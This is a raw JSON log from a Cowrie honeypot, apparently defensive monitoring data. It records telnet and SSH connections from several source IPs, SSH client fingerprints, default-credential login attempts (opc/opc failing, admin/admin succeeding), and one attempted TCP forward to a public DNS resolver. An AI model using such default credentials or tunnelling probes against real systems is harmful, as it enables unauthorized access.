{"eventid":"cowrie.session.closed","duration":31.010854721069336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:44.187436Z","src_ip":"41.76.108.55","session":"74df20aa2677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52214,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd73e8a86562","protocol":"telnet","message":"New connection: 41.76.108.55:52214 (159.203.135.109:23) [session: fd73e8a86562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:44.399280Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":52568,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e766b34c4a5","protocol":"telnet","message":"New connection: 41.76.108.55:52568 (159.203.135.109:23) [session: 6e766b34c4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:44.510057Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56388,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe20d1481fdc","protocol":"ssh","message":"New connection: 122.168.114.167:56388 (159.203.135.109:22) [session: fe20d1481fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:44.675098Z"}
{"eventid":"cowrie.session.closed","duration":30.962326765060425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:45.126969Z","src_ip":"41.76.108.55","session":"37a08f375d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55138,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba1af22c722","protocol":"telnet","message":"New connection: 41.76.108.55:55138 (159.203.135.109:23) [session: aba1af22c722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:45.156512Z"}
{"eventid":"cowrie.session.closed","duration":31.301574230194092,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:45.196644Z","src_ip":"41.76.108.55","session":"9951a1cc2771","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55524,"dst_ip":"159.203.135.109","dst_port":23,"session":"fda31050dcf5","protocol":"telnet","message":"New connection: 41.76.108.55:55524 (159.203.135.109:23) [session: fda31050dcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:45.258315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:46.132446Z","src_ip":"122.168.114.167","session":"fe20d1481fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:46.135746Z","src_ip":"122.168.114.167","session":"fe20d1481fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.341878652572632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:46.176519Z","src_ip":"41.76.108.55","session":"6adbadff6088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":60050,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab0c1f674b65","protocol":"telnet","message":"New connection: 41.76.108.55:60050 (159.203.135.109:23) [session: ab0c1f674b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:46.398896Z"}
{"eventid":"cowrie.session.closed","duration":30.80778455734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:47.144912Z","src_ip":"41.76.108.55","session":"63eacde9f794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14262628555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:47.279014Z","src_ip":"41.76.108.55","session":"cd6335f3aaba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37000,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f3827560a17","protocol":"telnet","message":"New connection: 41.76.108.55:37000 (159.203.135.109:23) [session: 6f3827560a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:47.627511Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39888,"dst_ip":"159.203.135.109","dst_port":23,"session":"507f614a731b","protocol":"telnet","message":"New connection: 41.76.108.55:39888 (159.203.135.109:23) [session: 507f614a731b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:48.313687Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39176,"dst_ip":"10.17.0.5","dst_port":23,"session":"11691265a40a","protocol":"telnet","message":"New connection: 15.204.204.191:39176 (10.17.0.5:23) [session: 11691265a40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:48.404365Z"}
{"eventid":"cowrie.session.closed","duration":30.678894996643066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:49.023732Z","src_ip":"15.204.204.191","session":"ce8ec4cf1db4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":45506,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e5cac390b9f","protocol":"telnet","message":"New connection: 41.76.108.55:45506 (159.203.135.109:23) [session: 0e5cac390b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:49.718441Z"}
{"eventid":"cowrie.session.closed","duration":30.312156677246094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:50.122515Z","src_ip":"41.76.108.55","session":"3aabea911dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68018651008606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:51.032310Z","src_ip":"15.204.204.191","session":"439423c95444","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.027534246444702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:51.037439Z","src_ip":"15.204.204.191","session":"bdfcc2ce0068","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556039333343506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:51.152664Z","src_ip":"41.76.108.55","session":"8ef66653593b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138245582580566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:51.159691Z","src_ip":"41.76.108.55","session":"3e0c507ef9ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d6020feb7a","protocol":"telnet","message":"New connection: 15.204.204.191:39186 (10.17.0.5:23) [session: 12d6020feb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:51.212987Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":39198,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a87343746f4","protocol":"telnet","message":"New connection: 15.204.204.191:39198 (10.17.0.5:23) [session: 4a87343746f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:51.354574Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55878,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b0b128f3bd6","protocol":"telnet","message":"New connection: 41.76.108.55:55878 (159.203.135.109:23) [session: 8b0b128f3bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.069217Z"}
{"eventid":"cowrie.session.closed","duration":31.065536499023438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.167176Z","src_ip":"41.76.108.55","session":"2d760806f304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":56670,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ef51c6a62a8","protocol":"telnet","message":"New connection: 41.76.108.55:56670 (159.203.135.109:23) [session: 9ef51c6a62a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.275374Z"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.282954Z","src_ip":"122.168.114.167","session":"fe20d1481fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":56950,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb67f9496f26","protocol":"telnet","message":"New connection: 41.76.108.55:56950 (159.203.135.109:23) [session: cb67f9496f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.347329Z"}
{"eventid":"cowrie.session.closed","duration":30.735413789749146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.603822Z","src_ip":"15.204.204.191","session":"b0cb78c1fba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.962111234664917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.738372Z","src_ip":"41.76.108.55","session":"6a69376f7f5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58912,"dst_ip":"159.203.135.109","dst_port":23,"session":"543c16b8a55b","protocol":"telnet","message":"New connection: 41.76.108.55:58912 (159.203.135.109:23) [session: 543c16b8a55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.822908Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59510,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5c69d5b140","protocol":"telnet","message":"New connection: 41.76.108.55:59510 (159.203.135.109:23) [session: 3c5c69d5b140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:52.974589Z"}
{"eventid":"cowrie.session.closed","duration":30.25849413871765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:53.033396Z","src_ip":"15.204.204.191","session":"3712d3d9f640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":57722,"dst_ip":"159.203.135.109","dst_port":23,"session":"96d9a6f26e49","protocol":"telnet","message":"New connection: 41.76.108.55:57722 (159.203.135.109:23) [session: 96d9a6f26e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:53.558846Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34116,"dst_ip":"159.203.135.109","dst_port":23,"session":"607ec1ebe6b2","protocol":"telnet","message":"New connection: 41.76.108.55:34116 (159.203.135.109:23) [session: 607ec1ebe6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:53.697598Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34134,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5ade6d6d03","protocol":"telnet","message":"New connection: 41.76.108.55:34134 (159.203.135.109:23) [session: fe5ade6d6d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:53.701761Z"}
{"eventid":"cowrie.session.closed","duration":31.842546463012695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:53.935661Z","src_ip":"15.204.204.191","session":"7567140a009c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41034173965454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:54.083238Z","src_ip":"15.204.204.191","session":"5f886cf2cb71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44026,"dst_ip":"10.17.0.5","dst_port":23,"session":"52da772bb894","protocol":"telnet","message":"New connection: 15.204.204.191:44026 (10.17.0.5:23) [session: 52da772bb894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:54.196308Z"}
{"eventid":"cowrie.session.closed","duration":30.904484272003174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:54.293432Z","src_ip":"41.76.108.55","session":"5e91b541765d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":37712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dad1d202614","protocol":"telnet","message":"New connection: 41.76.108.55:37712 (159.203.135.109:23) [session: 0dad1d202614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:54.554835Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":38834,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f2e246a545","protocol":"telnet","message":"New connection: 41.76.108.55:38834 (159.203.135.109:23) [session: 63f2e246a545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:54.826578Z"}
{"eventid":"cowrie.session.closed","duration":30.46943235397339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.035475Z","src_ip":"15.204.204.191","session":"d3ac905e8ba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40412,"dst_ip":"159.203.135.109","dst_port":23,"session":"58811ce2e0e9","protocol":"telnet","message":"New connection: 41.76.108.55:40412 (159.203.135.109:23) [session: 58811ce2e0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.217849Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40456,"dst_ip":"159.203.135.109","dst_port":23,"session":"75aa30cad1c8","protocol":"telnet","message":"New connection: 41.76.108.55:40456 (159.203.135.109:23) [session: 75aa30cad1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.238678Z"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.413093Z","src_ip":"122.168.114.167","session":"fe20d1481fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13708,"dst_ip":"10.17.0.5","dst_port":22,"session":"9406e0594cce","protocol":"ssh","message":"New connection: 87.251.64.176:13708 (10.17.0.5:22) [session: 9406e0594cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.745614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.752339Z","src_ip":"87.251.64.176","session":"9406e0594cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.849633Z","src_ip":"87.251.64.176","session":"9406e0594cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":43282,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b3786f4ae01","protocol":"telnet","message":"New connection: 41.76.108.55:43282 (159.203.135.109:23) [session: 1b3786f4ae01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:55.950736Z"}
{"eventid":"cowrie.session.closed","duration":31.050625562667847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:56.043622Z","src_ip":"15.204.204.191","session":"a902b926543c","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:56.146136Z","src_ip":"87.251.64.176","session":"9406e0594cce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:56.246596Z","session":"9406e0594cce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:56.344940Z","src_ip":"87.251.64.176","session":"9406e0594cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:56.444598Z","src_ip":"87.251.64.176","session":"9406e0594cce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":46350,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1b1622aa4d0","protocol":"telnet","message":"New connection: 41.76.108.55:46350 (159.203.135.109:23) [session: d1b1622aa4d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:56.646726Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44040,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2496b73c219","protocol":"telnet","message":"New connection: 15.204.204.191:44040 (10.17.0.5:23) [session: f2496b73c219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:57.262734Z"}
{"eventid":"cowrie.session.closed","duration":31.274651050567627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:57.445603Z","src_ip":"41.76.108.55","session":"69453fa5b440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":55446,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae5e5f2d4ef7","protocol":"telnet","message":"New connection: 41.76.108.55:55446 (159.203.135.109:23) [session: ae5e5f2d4ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:58.914384Z"}
{"eventid":"cowrie.session.closed","duration":30.545525074005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:59.083229Z","src_ip":"15.204.204.191","session":"21be7523c592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44044,"dst_ip":"10.17.0.5","dst_port":23,"session":"403f3997467a","protocol":"telnet","message":"New connection: 15.204.204.191:44044 (10.17.0.5:23) [session: 403f3997467a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:08:59.087962Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":32920,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf6c2f77441","protocol":"telnet","message":"New connection: 41.76.108.55:32920 (159.203.135.109:23) [session: 1cf6c2f77441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:00.213756Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":44058,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7e3d7560f1","protocol":"telnet","message":"New connection: 15.204.204.191:44058 (10.17.0.5:23) [session: 7e7e3d7560f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:00.262473Z"}
{"eventid":"cowrie.session.closed","duration":30.662074089050293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:00.332546Z","src_ip":"41.76.108.55","session":"0e15900281db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69629740715027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:01.279672Z","src_ip":"41.76.108.55","session":"99dd51a90bc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":51278,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ac4082a54b","protocol":"telnet","message":"New connection: 15.204.204.191:51278 (10.17.0.5:23) [session: 71ac4082a54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:01.604675Z"}
{"eventid":"cowrie.session.closed","duration":30.666881799697876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:02.144831Z","src_ip":"41.76.108.55","session":"5822d6204569","protocol":"telnet"}
